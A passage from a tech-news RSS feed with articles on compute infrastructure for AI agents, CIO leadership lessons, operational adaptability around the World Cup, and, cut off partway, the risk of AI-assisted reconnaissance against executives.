<content:encoded><![CDATA[<p>Lineation.ai has announced the public launch of its comprehensive agentic security platform. Delivering a solution at the intersection of GenAI Application Security and Runtime Defense, Lineation introduces a Zero Trust unified control plane and a lightweight endpoint daemon that secures autonomous AI agents directly at execution. As enterprises adopt autonomous AI agents that read sensitive data, call APIs, and execute workflows, traditional static perimeters and standard LLM gateways fall blind. By assigning a Zero Trust … <a href="https://www.helpnetsecurity.com/2026/07/16/lineation-ai-zero-trust-control-plane/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/16/lineation-ai-zero-trust-control-plane/">Lineation.ai focuses on runtime security for autonomous AI agents</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New agentic compute patterns]]></title>
<description><![CDATA[For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start th...]]></description>
<link>https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/</guid>
<pubDate>Thu, 16 Jul 2026 11:19:03 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start thinking about services. Most cloud-native infrastructure today is built on top of it, directly or in spirit, and EKS made that model the default for the majority of enterprise teams running workloads on AWS.</p>



<p class="wp-block-paragraph">The workload that defined that era was the stateless HTTP request, fast in, fast out, disposable. A user action triggers a request, the request hits a service, the service returns a response and the container is done. Kubernetes was optimized for that pattern down to the scheduler internals: Bin-pack containers onto nodes, autoscale on CPU and memory, evict and reschedule when something goes wrong. The whole system is tuned around the assumption that individual units of work are short, stateless and interchangeable.</p>



<p class="wp-block-paragraph">That assumption no longer holds for the workloads that matter most right now.</p>



<h2 class="wp-block-heading">The agent workload is structurally different</h2>



<p class="wp-block-paragraph">Agents are long-running, stateful processes. They reason across time, call external tools, spawn subprocesses, write and execute code, and make decisions that depend on what happened five steps earlier in the same task. A single-agent workflow might run for minutes or hours, touching a dozen external systems and generating intermediate outputs that subsequent steps depend on. The compute layer for that kind of work needs to do things the old model was never asked to do. That is the new pattern: Execution infrastructure designed around agent semantics rather than request semantics.</p>



<p class="wp-block-paragraph">The Kubernetes community itself has acknowledged this mismatch. In March 2026, Kubernetes SIG Apps published an<a href="https://url.usb.m.mimecastprotect.com/s/U22qCA8LmLh7yY0jIGfGfGdvGo?domain=kubernetes.io/" target="_blank" rel="noreferrer noopener"> introduction to Agent Sandbox</a>, a new CRD-based abstraction designed specifically for singleton, stateful agent workloads. The framing is direct: The ecosystem is moving from short-lived, isolated tasks to deploying multiple, coordinated AI agents that run continuously, and mapping those workloads to traditional Kubernetes primitives requires an entirely new abstraction. The fact that the Kubernetes maintainers built a dedicated primitive for this, rather than recommending teams compose one from existing resources, is itself the clearest signal that agent execution does not fit the old model.</p>



<h2 class="wp-block-heading">What agent execution actually requires</h2>



<p class="wp-block-paragraph">Concretely, it requires four things. First, isolated execution environments that provision in milliseconds, not minutes, so each agent task gets its own sandbox for code execution and tool calls without blocking the reasoning loop. The difference between a two-second environment and a two-minute environment is not a performance optimization; it determines whether the architecture is viable at all. Second, durable state management across the full task lifecycle, so an agent can pause, hand off or resume without re-initializing from scratch and burning tokens to reconstruct context it already built. Third, coordination primitives for multi-agent work: The ability to spawn subagents, pass structured outputs between them and track task dependencies across a graph of concurrent processes. Production agent systems are rarely single agents; they are pipelines of specialized agents with handoffs that need to be reliable and inspectable. Fourth, credentials and secrets management that travel with the execution context, so agents can authenticate to external services securely without exposing credentials in the task definition, logs or the environment variables of a shared container.</p>



<h2 class="wp-block-heading">The mismatch shows up fast in production</h2>



<p class="wp-block-paragraph">Kubernetes and EKS expose the mismatch quickly in practice. Pod eviction terminates an agent mid-task with no clean recovery path. Autoscaling reads CPU utilization as the load signal, but an agent holding a long inference connection looks idle to the scheduler even when it is doing the most consequential work in the pipeline. Provisioning a new environment takes 45 seconds to two minutes on a well-tuned cluster; agent workloads need that in under two seconds or the reasoning loop stalls and the user experience degrades visibly. These are not edge cases or misconfigurations. They are the normal operating conditions for production agent workloads running on infrastructure that was not designed for them.</p>



<p class="wp-block-paragraph">The utilization data makes the broader cost picture even starker. The<a href="https://url.usb.m.mimecastprotect.com/s/zk-6CB1MnMHEQoqvI6hNf2eRQz?domain=cast.ai/" target="_blank" rel="noreferrer noopener"> 2026 State of Kubernetes Optimization Report</a> from CAST AI, drawn from analysis of over 23,000 production clusters across AWS, Azure and GCP, found average CPU utilization at 8 percent, down from 10 percent the year prior. Memory utilization fell from 23 to 20 percent. CPU overprovisioning jumped from 40 to 69 percent year over year. These numbers reflect clusters running traditional workloads, and the pattern is worsening, not improving, as environments scale. Agent workloads compound this problem further. An agent holding an open inference connection or waiting on a tool call registers as idle to a scheduler that reads CPU and memory as the only meaningful load signals. The infrastructure responds to the wrong metric, overprovisioning capacity for demand it cannot measure, while the actual bottleneck, environment provisioning latency and state continuity, goes unaddressed.</p>



<h2 class="wp-block-heading">Security is not the same problem it was before</h2>



<p class="wp-block-paragraph">Agent workloads change the threat model at the infrastructure level. A compromised stateless service exposes a narrow surface defined by its API contracts. A compromised agent exposes every system it can reach, every credential it holds and every action it is authorized to take on behalf of the user. Agents generate and execute their own code, make non-deterministic tool-call decisions and accumulate context across long-running sessions. Standard container namespacing does not contain that kind of risk. Kernel-level isolation, default-deny network egress, scoped credentials per session and agent-aware observability are not optional hardening steps. They are baseline requirements for running agents in production.</p>



<h2 class="wp-block-heading">What teams that ship agents have already figured out</h2>



<p class="wp-block-paragraph">Some of the clearest evidence for this shift comes not from infrastructure vendors but from product engineering teams running agents at scale on their own code. In late 2025, Ramp’s engineering team published a<a href="https://url.usb.m.mimecastprotect.com/s/Co8bCDwO0Ohg2PpXhAiRfjbcM8?domain=engineering.ramp.com" target="_blank" rel="noreferrer noopener"> detailed account of building Inspect</a>, their internal background coding agent. Each Inspect session runs in a sandboxed VM with a full-stack development environment and deep integrations across their observability, CI, and deployment tooling. The architecture requirements map almost exactly to the four primitives above. Filesystem snapshots keep sessions starting in seconds rather than minutes. Sessions are isolated and stateful. The agent can run tests, review telemetry, query feature flags and visually verify frontend changes in a real browser. And the whole system supports unlimited concurrency, so engineers can spin up ten parallel sessions exploring different approaches to the same problem without contention.</p>



<p class="wp-block-paragraph">The results speak for themselves. Within months of launch, roughly 30 percent of all pull requests merged to Ramp’s frontend and backend repositories were written by Inspect. That level of adoption was not mandated. It happened because the execution environment was fast enough, capable enough and well-integrated enough that the agent was strictly better than a local workflow for a meaningful share of tasks. The key insight from the Ramp case is not about the model. It is about the execution layer. As their team put it, session speed should only be limited by model-provider time-to-first-token; everything else, like cloning and installing, needs to be done before the session starts. That is a statement about infrastructure, not intelligence.</p>



<h2 class="wp-block-heading">The ecosystem is catching up, but defaults are sticky</h2>



<p class="wp-block-paragraph">None of that is a criticism of the tools. Kubernetes solved exactly the problem it was designed for, and it solved it well. The issue is that infrastructure defaults are sticky. Teams inherit them, build on top of them and optimize within their constraints long after the underlying workload has changed. The Kubernetes community’s own response, the<a href="https://url.usb.m.mimecastprotect.com/s/U22qCA8LmLh7yY0jIGfGfGdvGo?domain=kubernetes.io/" target="_blank" rel="noreferrer noopener"> Agent Sandbox project under SIG Apps</a>, validates the thesis that a new abstraction is necessary. The new primitives the community is building include warm pools for near-zero cold starts, lifecycle management for suspending and resuming idle agents without losing state, and pluggable kernel isolation for secure execution of untrusted code. These are not incremental improvements to existing resources. They are net-new abstractions that acknowledge the old model does not stretch to fit.</p>



<p class="wp-block-paragraph">But adoption of purpose-built agent infrastructure remains early. Enterprises building agent pipelines today are largely running a request-oriented orchestration model against an execution-oriented workload, and the mismatch shows up in task failure rates, runaway costs and debugging cycles that have no good tooling because the observability layer was also designed for stateless services.</p>



<h2 class="wp-block-heading">The structural advantage is available now</h2>



<p class="wp-block-paragraph">The infrastructure to close that gap exists now. The prerequisite is recognizing that agent execution is a first-class compute pattern with its own primitives and its own requirements, not a variant of the stateless service model that defined the last decade. Teams that make that shift early will have a meaningful structural advantage. The ones that do not will spend the next two years wondering why their agent systems are unreliable at a scale that should be tractable.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What next-generation IT leadership looks like]]></title>
<description><![CDATA[Today’s CIOs must master a complex balancing act of maintaining operational excellence while enabling AI experimentation, modernizing legacy environments while accelerating innovation, leading workforce transformation while maintaining culture, and communicating fluently across boards, business u...]]></description>
<link>https://tsecurity.de/de/3672917/it-nachrichten/what-next-generation-it-leadership-looks-like/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672917/it-nachrichten/what-next-generation-it-leadership-looks-like/</guid>
<pubDate>Thu, 16 Jul 2026 11:18:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Today’s CIOs must master a complex balancing act of maintaining operational excellence while enabling AI experimentation, modernizing legacy environments while accelerating innovation, leading workforce transformation while maintaining culture, and communicating fluently across boards, business units, customers, and technical teams alike.</p>



<p class="wp-block-paragraph">Few leaders understand this balancing act better than former Verizon CIO Jane Connell. Over her career, Connell has helped some of the world’s largest enterprises modernize operations, reduce complexity, and transform how technology enables business value at scale. As a <a href="https://www.cio.com/article/236876/cio-hall-of-fame-honorees.html">2026 CIO Hall of Fame inductee</a>, she is widely respected not only for operational excellence and strategic vision but also for her commitment to mentoring, workforce transformation, and preparing the next generation of leaders for a rapidly changing future.</p>



<p class="wp-block-paragraph">On a recent episode of <a href="https://linktr.ee/techwhisperers">the Tech Whisperers podcast</a>, we unpacked Connell’s unconventional leadership story and the playbook that has shaped one of technology’s most impactful leaders. In this exclusive interview after the show, edited for length and clarity, Connell shares more lessons from her Hall of Fame journey and why she believes the future of technology leadership will depend less on org charts and more on curiosity, credibility, and human connection.</p>



<p class="wp-block-paragraph"><strong>Dan Roberts: When you think about preparing the next generation of technology leaders, what capabilities or mindsets do you believe will matter most in this next era?</strong></p>



<p class="wp-block-paragraph"><strong>Jane Connell:</strong> One is curiosity, or what I call the “why” factor: What do we need to do and why do we need to do it? It’s having a mindset of unlocking the art of the possible. You must be comfortable with what you know, what you don’t know, and asking the question why, because in this era of AI and where technology is going, it’s not about automating things you know; it’s about what you don’t already know, and what that unlocks. AI creates patterns and opportunities and re-engineers through its own intelligence, so there has to be a lot of instinct involved, and you’re going to have to understand and learn what it’s telling you.</p>



<p class="wp-block-paragraph">I’m on the board of Rutgers, and one of the conversations we’re in with future leaders in education is that <a href="https://www.cio.com/article/4047844/ai-is-taking-over-junior-positions-in-it.html">you don’t have those entry-level jobs anymore</a>. They’re going to be AI. But those were building blocks for us. <a href="https://www.cio.com/article/4189865/how-ai-automation-is-reshaping-the-it-leadership-pipeline.html">We came up the ranks and did those jobs</a>, and that created the knowledge. [Future leaders are] not going to have that, so how do you create the foundation of knowledge — which is that art of asking why or what — to question if the bots or the patterns are biased or wrong. You’re not going to have the experience to rely on and say, “That’s wrong; I know that’s wrong because I did those. I know how this operates.”</p>



<p class="wp-block-paragraph">Second is having humility and being comfortable in your skin — that you don’t know everything, but you’re going to learn it. You’re going to involve yourself with people. It’s about workforce structure, not organizational structure. Who do you need to talk to, and what do you have to find out?</p>



<p class="wp-block-paragraph">I also believe <a href="https://www.cio.com/article/652317/cio-brett-lansings-five-point-approach-to-building-followership.html">followership</a> is going to be huge, because the way work gets done is not hierarchical. It’s going to be engineered based on the process and AI. You have to create followership of people working together, and they’ve got to want to work with you. This isn’t going be “you work for me, do as I say.” Followership is going to be a key skill for influencing and organically having that kind of impact, versus someone with authority.</p>



<p class="wp-block-paragraph">With that is the accountability to have high integrity, be credible, and be a person someone would trust. Because all this is going to break down the hierarchy of authority, you have to bring that human side and be a really good leader, which means people want to follow you, they trust you, they want to work with you, and they know you’re going to take them to a better place.</p>



<p class="wp-block-paragraph"><strong>One recurring theme throughout your career has been your ability to bridge deep technology expertise with strong business acumen. Why is that combination becoming even more critical in the age of AI and digital transformation?</strong></p>



<p class="wp-block-paragraph">You can’t impact anything tech-alone. It all resides on having business acumen and then having the technical ability to know how to use tech to solve the problem, not the other way around.</p>



<p class="wp-block-paragraph">At the root of all this is every company’s Achilles’ heel: the data. Access to data has been a privilege — those who have it, those who don’t. Now you’re bringing structured and unstructured [data] together for these AI models to work, and that’s a new skill set that requires you to know the business inside and outside.</p>



<p class="wp-block-paragraph">You also have to stay externally relevant and know where innovation is coming from. And you’re going to need to know how to architect that into the way your company goes to market, which requires you to know the business processes, how it runs, and how it could run.</p>



<p class="wp-block-paragraph">That’s the role of leaders moving forward, immersing yourself in the problems the business needs to solve. There’s no boundaries there. It’s not what department you report in and what process you own. It’s seamless. That’s the duality people need to command and grow into.</p>



<p class="wp-block-paragraph"><strong>Looking back on a career that spans multiple industries with different operating models, cultures, and regulatory environments, what were some of the most important calculated risks you took in terms of your growth?</strong></p>



<p class="wp-block-paragraph">There were two pivotal moments in my career that were the biggest risks but probably my biggest gains in growth. One was when I went into a full-time tech role and ran infrastructure. I was a fish out of water, and not the likely successor. Part of the reason I did it goes back to a something we talked about on the podcast: Well, why <em>not</em> me? And I want more. That’s just my tenacity.</p>



<p class="wp-block-paragraph">It was during the dot-com days of the late 90s, early 2000s. It didn’t matter if you were the CEO or a board director, if you didn’t know tech and you didn’t understand how to wield it, you were never going to be successful. I knew that no matter what job I may want in the future, I had to know tech. So it was a calculated decision: I’m going to jump into tech.</p>



<p class="wp-block-paragraph">Some very senior supply chain leaders who controlled my career told me, “You’re going to fail, and I’ll have a safety net for you when you come back.” Well, I didn’t fail and I never went back. That pressure was there, but I knew why I was doing it. This wasn’t just a job for ego’s sake. This was, I have to know tech. The future is tech. It’s kind of like AI now.</p>



<p class="wp-block-paragraph">The other pivotal moment was changing industries. I left Johnson &amp; Johnson at a great time. We had gone through a huge transformation, started our global services organization, and the perfect moment happened for me to retire early there. I didn’t know what I wanted to do. It was the first time I took a break in my career to let the world come to me instead of me planning it. Do I want to open a business? Do I want to consult? Do I want to stay retired? I was fortunate enough that I could, but I got bored.</p>



<p class="wp-block-paragraph">The financial industry wasn’t on my radar. Coming out of healthcare, with the purpose and the connection with saving lives, helping people, it’s easy to connect to. Financial wasn’t, for me. But one of the executive search firms said to me, when you interview, the biggest question hanging over your head is going to be, could you be successful elsewhere because you grew up in J&amp;J. You had advocates, you had influence, you knew the industry. It’s like your deck was stacked for you. Could you do all that when you’re a nobody coming off the street?</p>



<p class="wp-block-paragraph">So when the CIO role opened at State Street, I interviewed — and talk about being your authentic self. I had already done all this transformation, I already knew the outcomes, I knew everything I did was always enterprise and always end-to-end transformation. And because I wasn’t really vying for the job, I was having this conversation with the CFO and saying, “Here’s what your organization is lacking, here’s the noise you’re going to hear, do you really have the appetite for it?” And “I’d like talk to the COO and see if they’re ready to hear this about the value chain. I may not know your problem yet, but I guarantee it’s one of these three things.”</p>



<p class="wp-block-paragraph">I was testing their advocacy of, do you really want to transform? Are you ready? Because you have to own this. I can’t take accountabilities for your organizations. I can help you get there. I’m an enabler for you, but you have to own it. And it was a very different interview. By the end of it, I loved Ron [O’Hanley, State Street Chairman and CEO] and his whole team. I took the job on the leadership and the person more than the industry, and it was very successful.</p>



<p class="wp-block-paragraph">I followed the same recipe when I went to Verizon. Those were big growing moments. They were risky, they were very uncomfortable, but it was the biggest growth that I’ve ever had.</p>



<p class="wp-block-paragraph"><strong>Whether it’s a tough message to the C-suite, a difficult conversation with peers, or helping teams make sense of uncertainty and change, you tell people the truth in a way they can hear it. How can other leaders develop that ability to take people on the journey, especially when the message isn’t easy?</strong></p>



<p class="wp-block-paragraph">Skirting a problem is not the way to solve it. I’ve never been the person to say what you want to hear. I’ll tell you how you get there, and I’ll get you the results you want, but I’m going to be super honest because I want to manage the expectations of what we have to achieve.</p>



<p class="wp-block-paragraph">What I’ve learned as a leader is to take accountability. Say what you’re going to do, then do it, and if you hit a roadblock, be the first to call it. That gets you access, because people see it as a calculated risk. Anybody in the C-suite has resources and budget, but the earlier you signal and don’t waste money and resources, the more access to people and resources you will have.</p>



<p class="wp-block-paragraph">The greatest lesson I learned from one of the leaders in my path was: If you can’t say it in an elevator, and you can’t say it on one slide, you’re talking too much. So, think about it as one slide: What is it you need? What are you going to achieve? What are the risks? What are you taking accountability for? How will you measure it? It doesn’t matter what the message is when you can be that succinct. You’ve got them laser-focused on what it is. You gave them just enough of the periphery to know how you got there, and then it’s their belief in you that you can do it if they give you the money and resources, because that’s what you’re looking for.</p>



<p class="wp-block-paragraph">It sounds so simple but putting things together succinctly is hard work. You have to take all the unnecessary noise out, and keep the conversation focused. You don’t want their mind wandering, wondering where is she going, or what are they doing? Give it to them upfront and tell them what you need.</p>



<p class="wp-block-paragraph"><strong>You’ve spoken about entering corporate environments early in your career feeling intimidated by people with more traditional credentials or educational backgrounds. What advice can you give rising leaders about battling imposter syndrome?</strong></p>



<p class="wp-block-paragraph">Take the time to figure out what makes you uncomfortable, what makes you feel like an imposter, or what in that meeting you dread going in where you’re not acting like yourself. Are you more quiet than usual? Are you not asking the question you’d normally ask? Figure out what those issues are, and then address the things that make you uncomfortable. I went to college later because that bothered me. Those credentials do matter. So I addressed it and got my degrees and certifications.</p>



<p class="wp-block-paragraph">The other thing is to find people you trust, people whose opinion you respect, and bring them on the inside of what you’re working on. Maybe it’s dealing with a difficult business partner. You may not particularly want to be friends with them, but you’re going to have to work with them. Find the people that work effectively with them. You do this with high integrity — this is not about talking about that person — but find the allies that work with them. Nine times out of ten, they feel the way you do, but they found a way to work with the person. Pick their brain. Bring them in the fold and say, “I need this alliance. I can’t get there, and quite frankly, I know I’m resisting because maybe I just don’t like them. How did you get there?”</p>



<p class="wp-block-paragraph">People are generous. Ask their opinion, ask how they’re showing up. “Am I creating the trigger? Is there something I’m doing in that meeting or in that room that I’m not coming out with a decision or whatever I needed?”</p>



<p class="wp-block-paragraph">The greatest gift is feedback. There’s feedback you do something with, and there’s feedback you don’t, but either way, it’s a gift. Somebody’s giving it to you. It’s not personal; it’s business. And those things really help build your confidence and leadership style.</p>



<p class="wp-block-paragraph"><em>In an era increasingly shaped by automation and disruption, Jane Connell believes the most enduring competitive advantage may come from something deeply human: the ability to inspire confidence, curiosity, resilience, and possibility in others. For more advice from this Hall of Fame CIO, tune in to the </em><a href="https://linktr.ee/techwhisperers"><em>Tech Whisperers podcast</em></a><em>.</em></p>



<p class="wp-block-paragraph">See also:</p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4185905/mastering-the-chess-of-it-leadership-today.html">Mastering the chess of IT leadership today</a></li>



<li><a href="https://www.cio.com/article/4176073/developing-a-customer-first-culture-for-it.html">Developing a customer-first culture for IT</a></li>



<li><a href="https://www.cio.com/article/4166851/coherence-where-leadership-and-ai-success-intersect.html">Coherence: Where leadership and AI success intersect</a></li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What the World Cup reveals about the operating models CIOs need next]]></title>
<description><![CDATA[Every major sporting and pop culture event creates a familiar conversation among employers: How much productivity will be lost?



This year’s FIFA World Cup was no exception. Before the tournament began, UKG research found that 37% of employees globally planned to adjust their work schedules dur...]]></description>
<link>https://tsecurity.de/de/3672915/it-nachrichten/what-the-world-cup-reveals-about-the-operating-models-cios-need-next/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672915/it-nachrichten/what-the-world-cup-reveals-about-the-operating-models-cios-need-next/</guid>
<pubDate>Thu, 16 Jul 2026 11:18:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Every major sporting and pop culture event creates a familiar conversation among employers: How much productivity will be lost?</p>



<p class="wp-block-paragraph">This year’s FIFA World Cup was no exception. Before the tournament began, <a href="https://www.ukg.com/company/newsroom/world-cup-could-cost-employers-17-billion-lost-productivity-ukg-says">UKG research</a><a></a><a></a> found that 37% of employees globally planned to adjust their work schedules during the tournament. Some intended to take time off. Others expected to arrive late, leave early, or otherwise alter their work patterns. The estimated global productivity loss from presentism and absenteeism ranged from $17 billion (UKG) to an astonishing $30.2B (<a href="https://www.challengergray.com/blog/fifa-world-cup-2026-productivity-impact-analysis/">Challenger, Gray &amp; Christmas</a>).</p>



<p class="wp-block-paragraph">As tournament play began, viewership surged across broadcast and streaming platforms: FOX Sports <a href="https://www.foxsports.com/stories/presspass/fox-sports-opens-fifa-world-cup-2026-record-viewership">reported record audiences</a>, while Peacock and Telemundo viewership increased <a href="https://www.nbcsports.com/pressbox/press-releases/telemundo-and-peacock-kick-off-fifa-world-cup-with-record-breaking-viewership-across-opening-weekend?">more than 230% compared to the 2022 tournament through the first 12 matches</a>.</p>



<p class="wp-block-paragraph">Those numbers are interesting, but, as a CIO, I think they point to a more important question: Why do events like this still disrupt organizations in the first place?</p>



<p class="wp-block-paragraph">The World Cup is unique because it is one of the few workforce disruptions we can see coming years in advance, and the tournament game schedule is a blend of predictable (pool play) and unpredictable (knockout stage). We know employees will modify schedules. We know customer-demand patterns will shift. We know some industries will experience staffing challenges while others see increased activity.</p>



<p class="wp-block-paragraph">None of this is a surprise.</p>



<p class="wp-block-paragraph">That is what makes the UKG survey results so interesting. They reveal a broader truth: Even when change is predictable, many organizations still struggle to prepare for it effectively.</p>



<p class="wp-block-paragraph">The issue is rarely a lack of data. Most organizations have access to workforce, operational, financial and customer information. The challenge is that those signals often live in disconnected systems, making it difficult to translate information into action before problems emerge.</p>



<p class="wp-block-paragraph">In my experience, this is where many operating models begin to break down.</p>



<h2 class="wp-block-heading">Organizations need to optimize operations for adaptability</h2>



<p class="wp-block-paragraph">For years, organizations optimized for efficiency, standardization and predictability. Those priorities helped businesses scale, but they also created processes that can struggle when conditions change. Increasingly, the ability to adapt is becoming just as important as the ability to execute efficiently.</p>



<p class="wp-block-paragraph">Adaptability is often discussed in the context of unexpected events, but many operational challenges are highly predictable. Major sporting events, seasonal demand fluctuations, weather patterns, holiday periods and workforce trends all generate signals organizations can anticipate.</p>



<p class="wp-block-paragraph">The question is not whether the information exists. The question is whether organizations can connect workforce, operational, financial and customer data in a way that allows leaders to act on those signals before they become problems.</p>



<p class="wp-block-paragraph">This is where technology leaders have an important role to play.</p>



<h2 class="wp-block-heading">Access to real-time insights leads to agile decision making</h2>



<p class="wp-block-paragraph">As CIOs, we are increasingly responsible for creating the conditions that allow organizations to sense changes, make decisions and respond quickly. That requires more than modern technology. It requires connected data, simplified processes and operating models designed to support faster decision making across the business.</p>



<p class="wp-block-paragraph">When workforce planning, scheduling, labor costs, customer demand and operational performance exist in separate systems, organizations spend their time reconciling information. When those signals are connected, they can spend their time making decisions.</p>



<p class="wp-block-paragraph">This is also where AI has the potential to create significant value. Much of today’s conversation focuses on productivity gains, but I believe the larger opportunity is responsiveness.</p>



<p class="wp-block-paragraph">Organizations generate millions of operational signals every day. AI can help process those signals, identify patterns, surface risks and recommend actions faster than traditional approaches. The value is not simply producing more insights. The value is helping organizations shorten the distance between awareness and action.</p>



<p class="wp-block-paragraph">When AI is combined with connected data and embedded into operational workflows, it can help leaders respond to changing conditions with greater speed and confidence. That is ultimately what organizations need: not perfect predictions, but the ability to make better decisions faster.</p>



<h2 class="wp-block-heading">Three questions to ask right now to test operational effectiveness</h2>



<p class="wp-block-paragraph">For CIOs, the World Cup offers an interesting stress test. It creates a visible, measurable change in workforce behavior, but the lessons extend far beyond a sporting event. I think there are three questions every technology leader should consider:</p>



<ol class="wp-block-list">
<li>Can we identify operational changes as they happen, or only after they appear in reports?</li>



<li>Can our teams make decisions quickly when conditions change?</li>



<li>Are our systems helping employees adapt, or creating additional complexity when flexibility is required?</li>
</ol>



<p class="wp-block-paragraph">The answers often reveal more about organizational readiness than any technology roadmap.</p>



<h2 class="wp-block-heading">Operational excellence means moving from information to action</h2>



<p class="wp-block-paragraph">Eventually, the tournament will end. The broader challenge it exposes will remain. Workforce expectations will continue to evolve. Economic conditions will continue to change. New technologies will continue to reshape how organizations operate.</p>



<p class="wp-block-paragraph">Organizations cannot predict every disruption. But they should be able to prepare for the ones they can see coming.</p>



<p class="wp-block-paragraph">The World Cup is a reminder that operational excellence is not just about responding to change. It is about recognizing signals early, connecting information across the business, and acting before predictable challenges become operational problems.</p>



<p class="wp-block-paragraph">In my experience, the companies that do this well are not necessarily the ones with the most detailed plans. They are the ones with the clearest visibility, the simplest operating models and the ability to turn information into action quickly. Increasingly, that is what modern operational excellence looks like.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The executive profile your security team isn’t defending]]></title>
<description><![CDATA[A few years ago, I was retained to conduct a digital risk review for the chief executive of a mid-sized financial services firm. The brief was standard. Assess what was publicly available about the executive, identify exposure and advise on remediation. The AI tools I used completed the substanti...]]></description>
<link>https://tsecurity.de/de/3672879/it-security-nachrichten/the-executive-profile-your-security-team-isnt-defending/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672879/it-security-nachrichten/the-executive-profile-your-security-team-isnt-defending/</guid>
<pubDate>Thu, 16 Jul 2026 11:09:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A few years ago, I was retained to conduct a digital risk review for the chief executive of a mid-sized financial services firm. The brief was standard. Assess what was publicly available about the executive, identify exposure and advise on remediation. The AI tools I used completed the substantive reconnaissance in under ten minutes.</p>



<p class="wp-block-paragraph">What came back was a synthesized profile. Board memberships and the dates they started. A pattern of public commentary that revealed which policy positions the executive held strongly and which ones he would likely bend on under pressure. A philanthropic interest that explained which causes he would respond to if someone framed an ask around them. None of this information was sensitive in isolation. But assembled into a single, queryable narrative, it was something an attacker could use immediately.</p>



<p class="wp-block-paragraph">What I was looking at was a publicly accessible query to a general-purpose AI tool. And that is the problem most executive protection programs have not yet confronted. The reconnaissance phase for a targeted social engineering attack now takes minutes, not days, and the inputs required are trivial.</p>



<p class="wp-block-paragraph">AI-aggregated executive data has become an attack surface. Most security programs have not yet adapted to it.</p>



<h2 class="wp-block-heading"><a></a>The reconnaissance phase has effectively collapsed</h2>



<p class="wp-block-paragraph">Traditional <a href="https://www.csoonline.com/article/567859/what-is-osint-top-open-source-intelligence-tools.html">OSINT</a> work against an executive target required skill and patience. A competent analyst could build a useful profile over several days by working through search engines, corporate filings, social platforms and archived media. That work was a meaningful barrier. It took time and it required judgment about which sources to trust. It also left trails if the attacker was careless.</p>



<p class="wp-block-paragraph">AI aggregation removes all three constraints.</p>



<p class="wp-block-paragraph">The speed advantage is obvious but it is not the most important change. The more significant shift is synthesis. A search engine returns documents. An AI tool returns a coherent narrative with inferred relationships and interpreted significance. When I query a major AI platform for a senior executive by name, I get a structured account of their career arc, their professional relationships, their areas of visible influence and frequently their personal interests, relationships and public-facing affiliations.</p>



<p class="wp-block-paragraph">The <a href="https://westoahu.hawaii.edu/cyber/global-weekly-exec-summary/alphv-hackers-reveal-details-of-mgm-cyber-attack/">MGM Resorts incident </a>reported in 2023 illustrated the principle at scale. Attackers reportedly identified an MGM executive on LinkedIn, used that public profile information to impersonate them in a call to the IT help desk and obtained access credentials within minutes. The OSINT required was minimal and the manipulation was straightforward. What AI tools have done since is make that kind of reconnaissance faster, more complete and available to actors who lack the manual tradecraft to run it themselves.</p>



<p class="wp-block-paragraph">As the<a href="https://www.verizon.com/business/resources/reports/dbir/"> Verizon Data Breach Investigations Report </a>consistently documents, the human element is present in the majority of confirmed breaches, and social engineering remains one of the most reliable initial access vectors.</p>



<p class="wp-block-paragraph">The accessible nature of AI tools is also expanding the threat population. Attacks that previously required a skilled analyst to design now require only a motivated actor with internet access. That changes the volume and targeting calculus. Executives who were previously too obscure to justify a sophisticated manual attack are now viable targets for anyone with a grievance and a query box.</p>



<h2 class="wp-block-heading"><a></a>What should CIOs and CISOs do about it?</h2>



<p class="wp-block-paragraph">The instinct in many organizations is to route anything involving an executive’s public profile to the comms or PR function. That instinct made sense when the risk was reputational. It no longer covers the exposure.</p>



